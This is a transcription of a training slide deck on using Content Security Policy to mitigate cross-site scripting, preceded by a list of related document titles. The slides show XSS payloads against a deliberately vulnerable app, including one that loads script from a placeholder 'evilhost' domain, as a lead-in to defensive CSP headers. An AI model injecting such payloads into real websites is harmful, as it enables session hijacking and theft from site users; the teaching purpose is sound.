Content Security Policy

Similar documents
HTTP Security Headers Explained

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

CSP ODDITIES. Michele Spagnuolo Lukas Weichselbaum

CIS 4360 Secure Computer Systems XSS

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

NoScript, CSP and ABE: When The Browser Is Not Your Enemy

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

RKN 2015 Application Layer Short Summary

Web basics: HTTP cookies

Know Your Own Risks: Content Security Policy Report Aggregation and Analysis

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Content Security Policy

WEB SECURITY: XSS & CSRF

COMP9321 Web Application Engineering

CSCE 813 Internet Security Case Study II: XSS

Neat tricks to bypass CSRF-protection. Mikhail

Web basics: HTTP cookies

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Web Security: XSS; Sessions

Care & Feeding of Programmers: Addressing App Sec Gaps using HTTP Headers. Sunny Wear OWASP Tampa Chapter December

Common Websites Security Issues. Ziv Perry

CSC 482/582: Computer Security. Cross-Site Security

Northeastern University Systems Security Lab

CSCD 303 Essential Computer Security Fall 2017

Web Application Security. Philippe Bogaerts

GOING WHERE NO WAFS HAVE GONE BEFORE

Web Security IV: Cross-Site Attacks

So we broke all CSPs. You won't guess what happened next!

CSCD 303 Essential Computer Security Fall 2018

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

October 08: Introduction to Web Security

High -Tech Bridge s Web Server Security Service API Developer Documentation Version v1.3 February 13 th 2018

C1: Define Security Requirements

Extending the browser to secure applications

Browser code isolation

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

BOOSTING THE SECURITY

Web Security: Vulnerabilities & Attacks

Robust Defenses for Cross-Site Request Forgery

Web Security. Thierry Sans

Preparing for the Cross Site Request Forgery Defense

JOE WIPING OUT CSRF

NET 311 INFORMATION SECURITY

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

COMP9321 Web Application Engineering

JOE WIPING OUT CSRF

Web Security II. Slides from M. Hicks, University of Maryland

Information Security CS 526 Topic 11

More attacks on clients: Click-jacking/UI redressing, CSRF

ISSA: EXPLOITATION AND SECURITY OF SAAS APPLICATIONS. Waqas Nazir - CEO - DigitSec, Inc.

Exploiting and Defending: Common Web Application Vulnerabilities

Defense-in-depth techniques. for modern web applications

Project 3 Web Security Part 1. Outline

Client Side Injection on Web Applications

COMP9321 Web Application Engineering

Penetration Test Report

Robust Defenses for Cross-Site Request Forgery

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report.

Cross-Site Request Forgery in Cisco SG220 series

Welcome to the OWASP TOP 10

BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Among the many attacks on

CS 142 Winter Session Management. Dan Boneh

EasyCrypt passes an independent security audit

MWR InfoSecurity Advisory. 26 th April Elastic Path Administrative. Quit. Session Hijacking through Embedded XSS

Certified Secure Web Application Engineer

Web Security, Part 2

Don't Trust The Locals: Exploiting Persistent Client-Side Cross-Site Scripting in the Wild

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

CS Paul Krzyzanowski

Computer Security. 14. Web Security. Paul Krzyzanowski. Rutgers University. Spring 2018

AN EVALUATION OF THE GOOGLE CHROME EXTENSION SECURITY ARCHITECTURE

Security Research Advisory IBM WebSphere Portal Cross-Site Scripting Vulnerability

Integration Test Plan

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Match the attack to its description:

last time: command injection

CS 155 Project 2. Overview & Part A

Robust Defenses for Cross-Site Request Forgery Review

s642 web security computer security adam everspaugh

Evaluating the Security Risks of Static vs. Dynamic Websites

An Evaluation of the Google Chrome Extension Security Architecture

Web Application Penetration Testing

Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side)

We will show you how we bypassed every XSS mitigation we tested. Mitigation bypass-ability via script gadget chains in 16 popular libraries

Writing Secure Chrome Apps and Extensions

Client Side Security And Testing Tools

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Web Security: Vulnerabilities & Attacks

Wednesday, 10 October 2012 PRELIMINARY SLIDES

W3Conf, November 15 & 16, Brad Scott

Security in a Mainframe Emulator. Chaining Security Vulnerabilities Until Disaster Strikes (twice) Author Tim Thurlings & Meiyer Goren

CS 161 Computer Security

Your Scripts in My Page: What Could Possibly Go Wrong? Sebastian Lekies / Ben Stock Martin Johns

CSWAE Certified Secure Web Application Engineer

Copyright

Transcription:

About Tim Content Security Policy New Tools for Fighting XSS Pentester > 10 years Web Applications Network Security Products Exploit Research Founded Blindspot Security in 2014 Pentesting Developer Training Cryptography Advisor Portland OWASP Chapter Leader 2016 Blindspot Security LLC. All rights reserved. 2 JavaScript: A Security Minefield Same-Origin Policy Web browsers are programming language interpreters Netscape invented Same-Origin Policy along with JavaScript JavaScript is powerful General rule View or modify any HTML content at runtime Submit forms without user interaction If your script was loaded from Site A, then: it won't be able to access Site B's content Access to special devices: camera, GPS, video card,... Risks JavaScript-based escalation to host execution One website gains access to another's content/functionality Many exceptions to this rule Certain actions are always allowed cross-origin Special hacks can be used to work around restrictions (JSONP) Access can be explicitly granted via Cross-Origin Resource Sharing 3 4

How is an "Origin" Defined? Origin Examples A JavaScript origin is typically the strict combination of: Scheme (http vs https vs ftp) Hostname (example.com vs sso.example.org) Suppose Site A has URL: http://example.com/foo If Site B is... Evaluation TCP port http://example.com/bar same The origin is considered equivalent if these three items match http://example.org/ different As an exception to the rule, script from sub-domains can optionally change their own origin to a parent domain https://example.com/foo http://example.com:8080/foo different different http://foo.example.com/foo different [*] 5 [*] foo.example.com => example.com is OK; not vice versa 6 Cross-Domain Rights Redirect requests and submit forms Embed images and frames from other sites Sometimes leads to minor leaks of information Include external script Script granted caller's origin (not hosted origin) Used for JSONP Consequences of Cross-Domain Rights Cross-Site Request Forgery (CSRF) Redirects Cross-site form submission Cross-site resource retrieval JSON Hijacking External script inclusion Clickjacking Cross-site framing 7 8

Cross-Site Scripting (XSS) XSS exploits trick a browser into believing malicious script originated from a victim site Bypasses same-origin policy Attacker can behave like a legitimate site user Introducing jprofilr Many applications store user profile information The intentionally-vulnerable jprofilr application simulates this piece of functionality I use this in my training courses Typically exploited through injection attacks Many variations: Reflected vs Stored Server-side vs Client-side XSS is far worse than CSRF, Clickjacking and JSON Hijacking 9 10 Let's Try a Little XSS Working Around Application Behavior Maybe we could inject a simple tag with an event handler: "><imgsrc=xonerror="alert(1) Field data is forced to upper case upon storage JavaScript is case-sensitive and most of it is lower-case Does it work? Why not? But HTML is case-insensitive! Can we encode? Working Proof of Concept: "><IMGSRC=XONERROR="alert(1) 11 12

Bootstrapping a Real Attack Content Security Policy (CSP) The application has a length limit on input fields A framework to help restrict default browser behavior This is severely limits the complexity of attacks Encoding produces 6x length increase Uses HTTP response headers to define white lists of allowed behavior Using it generally only restricts default capabilities An attacker would surely want to include external script: "><IMGSRC=XONERROR="document.head.appendChild( document.createelement(`script`)).src=`http://evilhost/e.js` Encoded Form: "><IMGSRC=XONERROR=" document.head. appendchild (document. createelement (`SCRIPT`)).src=`HTTP://EVILHOST/E.JS` 13 14 CSP is Expansive and Powerful Can restrict a wide variety of script capabilities, including: Sources of trusted script/fonts/css Form destination, AJAX, and websocket URLs Outbound referrer behavior Which pages can frame the current page (replaces X-Frame- Options) Browser plugins permitted to load Valid URLs for images and other media CSP Example Content Security Policy:script src'self''unsafe inline' https://*.google.com This policy allows: All script files hosted on the site's origin All script embedded in HTML (<script>, onclick,...) Script hosted on google.com over HTTPS It disallows: The use of eval() and friends Script hosted anywhere else... 15 16

CSP Provides Reporting Capabilities CSP Reporting Example Policies can be set to: Report violations only Content Security Policy Report Only: img src'self'; report urihttps://example.com/reports To enforce restrictions This allows images only from the same origin Or a combination thereof Violations are reported to a URL specified in the header If the site could be fooled into referencing http://tasteless/photo.jpg, then the browser would log an error, but not prevent access Useful for: Testing policies before going live The warning would show up in the browser console and be sent to the report-uri Testing revisions to policies Alerting during failed XSS attempts 17 18 CSP Reporting Example (continued) Browser console message: [ReportOnly]Refusedtoloadtheimage'http://tasteless/photo.jpg' becauseitviolatesthefollowingcontentsecuritypolicydirective: "img src'self'". Auto-generated POST body sent to report-uri: { "csp report": { "document uri":"http://127.0.0.1:8080/jprofilr/profile", "referrer":"http://127.0.0.1:8080/jprofilr/login", "violated directive":"img src'self'", "effective directive":"img src", "original policy":"img src'self'; report urihttp://192.168.56.102/report", "blocked uri":"http://tasteless", "status code":200 } } Preventing XSS with CSP If applications carefully white list only trusted sources of clientside script, injections can be largely eliminated To be fool-proof, must: Minimize inline script, ensure it is static Eliminate hard-coded event attributes (can be set via the DOM) Know all sources of external script Eliminate all new Function('...'), eval('...'), and similar calls 19 20

Incrementally Mitigating XSS with CSP Even without a perfect policy, one can mitigate attacks. Incrementally Mitigating XSS (cont.) Step 2: Add new report-only policy that also alerts on 'unsafeinline' Step 1: Start with a report-only policy: Allow 'self', 'unsafe-inline', and 'unsafeeval' Eliminate all static event attributes Eliminate as many inline scripts as possible White list the remaining using nonces or hashes White list all known external sources of script Convert policy to an enforcing one Test and monitor site, white listing additional external sources Step 3: Repeat process for 'unsafe-eval' Convert policy to an enforcing one 21 Steps 2 and 3 may be difficult to achieve if third-party libraries rely on dynamic script writing to the page. Consider switching away from these libraries! 22 Testing New Content Security Policies jprofilr is pretty awful and clearly needs code changes In the mean time, we can block attacks that use external scripts with simple CSP headers Let's Start with a Report-Only Policy Burp allows us to add arbitrary HTTP response headers Proxy -> Options -> Match and Replace -> Add Handy if you aren't ready to change web server config Let's test out those headers using Burp and Chrome Let's add this policy to report on all external script: Content Security Policy Report Only: script src'self' 'unsafe inline''unsafe eval' 23 24

Now Let's Enforce It Simply changing the header name to Content-Security- Policy will put it in enforcing mode Exploit will now fail Browser Support for CSP Supported by about ~87% users globally, ~93% of users in USA (as of April 2016): Chrome (versions since February 2013) IE 10+, Edge (May need X-Content-Security-Policy) Firefox (versions since August 2013) Safari 7+, Safari Mobile 7.1+ Opera 25+ Android Browser 4.4+ 25 Biggest gaps in support: Opera Mini, IE 9 and earlier, and older Android 26 Final Thoughts Thank You CSP powerful and widely supported, but hardly used Start asking for support: Web application vendors Web designers WAF vendors... Have a buggy, legacy web app? Consider applying CSP to buy you time Questions? 27 28